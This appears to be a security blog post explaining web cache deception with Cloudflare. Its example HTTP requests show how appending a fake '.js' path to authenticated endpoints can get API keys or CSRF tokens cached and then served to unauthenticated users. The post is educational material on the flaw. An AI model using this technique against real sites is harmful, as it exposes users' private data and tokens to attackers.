CloudFare and Abusing HTTP Cache

Abusing HTTP Web Caching

 

This article aims to cover security vulnerabilities that occur due to CloudFare’s caching behaviour. Any caching mechanism mentioned in this paper will be specifically CloudFare’s, however, many other technologies implement the same logics used in the HTTP caching.

 

How does caching work?

To begin, let us first define what HTTP caching is. Any HTTP response that is sent to a sever can be saved by things like proxies and load balancers so that they can be immediately served to users without the HTTP request being sent to the origin server.

 

How this looks depicted in this example:

 

CLIENT —>>–sends —>–HTTP REQUEST ———>>—cache_server(has no response)——–>>——SERVER

CLIENT -<<–savedByCacheServer -<–HTTP RESPONSE ——-<<—-server-returns-response—–<<—-SERVER

CLIENT —>>–sends —>–HTTP REQUEST ———>>—cache_server(hasSavedResponse)——–SERVER

CLIENT -<<—————sendsBacksavedResponse ——-<<—-cache_server————–SERVER

 

The saved response is not normally restricted with authentication. So does this mean a dynamic response containing user-specific sensitive data is saved by cache servers which then can be accessed by others without authentication? Devs do not want this and which is why they only choose to cache static files (like images, CSS and JavaScript) which is supposed to be accessible to everyone.

 

CLOUDFARE CACHING

CloudFare also acts as a caching proxy and it can cache a response if the rules defined by developers are met. Normally, websites using CloudFare cache some static files (such as CSS) by default. The question now is, how does CloudFare know what are supposedly static endpoints so it can cache them. The answer is simple: it looks at the extension of an endpoint. If an endpoint ends with extensions like .js, .css, .png; then it will most likely consider them static files and cache them.

Fortunately, in CF (short for CloudFare) case, it is easy to know if any request is cacheable (if its response is actually cached by CF). HTTP response of a website using CF returns this header: CFCacheStatus

This can have different values, but for the purpose of this article, the three are important:

* DYNAMIC  Cloudflare does not consider the asset eligible to cache and your Cloudflare settings do not explicitly instruct Cloudflare to cache the asset.  Instead, the asset was requested from the origin web server. 

* MISS The resource was not found in Cloudflare’s cache and was served from the origin web server.

* HIT The resource was found in Cloudflare’s cache.

 

Dynamic value is for response content that CF decides should not be cached and returns a dynamic value each time a user requests it. For example, a request like this:

“`

GET /api-keys HTTP/1.1

HOST: huntingreads.com

Cookie: authenticated

“`

can return something like this:

 

“`

HTTP/1.1 200 OK

CF-Cache-Status: Dynamic

Content-Type: application/json

.

{secret”,”secret”,”secret”}

“`

 

Abusing the CF Cache behaviour

Sometimes, appending non-existent files with static extensions will return the same response as normal (when not appended). Like: 

 

“`

GET /api-keys/non-existent.js HTTP/1.1

HOST: huntingreads.com

Cookie: authenticated

“`

can return something like this:

 

“`

HTTP/1.1 200 OK

CF-Cache-Status: MISS

Content-Type: application/json

.

{secret”,”secret”,”secret”}

“`

 

The purpose to add a path of .js is to tell CF that the response should be cached. This means if a user requests the same path while unauthenticated, he will get a saved response from cache (which CF cached because by page rules, it caches JS files) and not from origin server. Like:

“`

GET /api-keys/non-existent.js HTTP/1.1

HOST: huntingreads.com

Cookie: NOT AUTHENTICATED

“`

can now return something like this:

 

“`

HTTP/1.1 200 OK

CF-Cache-Status: HIT

Content-Type: application/json

.

{secret”,”secret”,”secret”}

“`

 

 

 

 

 

CF and CSRF Token in 404 pages

A lot of times when you append “/anything.js” , it will give a 404 response.

 

“`

GET /login/anything.js HTTP/1.1

HOST: huntingreads.com

Cookie: authenticated

“`

 

can return:

 

“`

HTTP/1.1 404 

Content-Type: text/html;charset=utf-8

CF-Cache-Status: MISS

.

some-data…………………csrf-token:secret……………somedata

“`

 

Some websites also seem to return CSRF tokens in all pages including 404 pages. This is very bad in terms of security, because if CF is used then it will cache such response too and which would then lead to a site-wide CSRF abuse.

 

 

If you’ve any suggestions/questions/feedbacks, please ask below.

 

 

References:

https://support.cloudflare.com/hc/en-us/articles/200172516-Understanding-Cloudflare-s-CDN
https://developer.mozilla.org/en-US/docs/Web/HTTP/Caching

2 thoughts on “CloudFare and Abusing HTTP Cache

Leave a Reply

Your email address will not be published. Required fields are marked *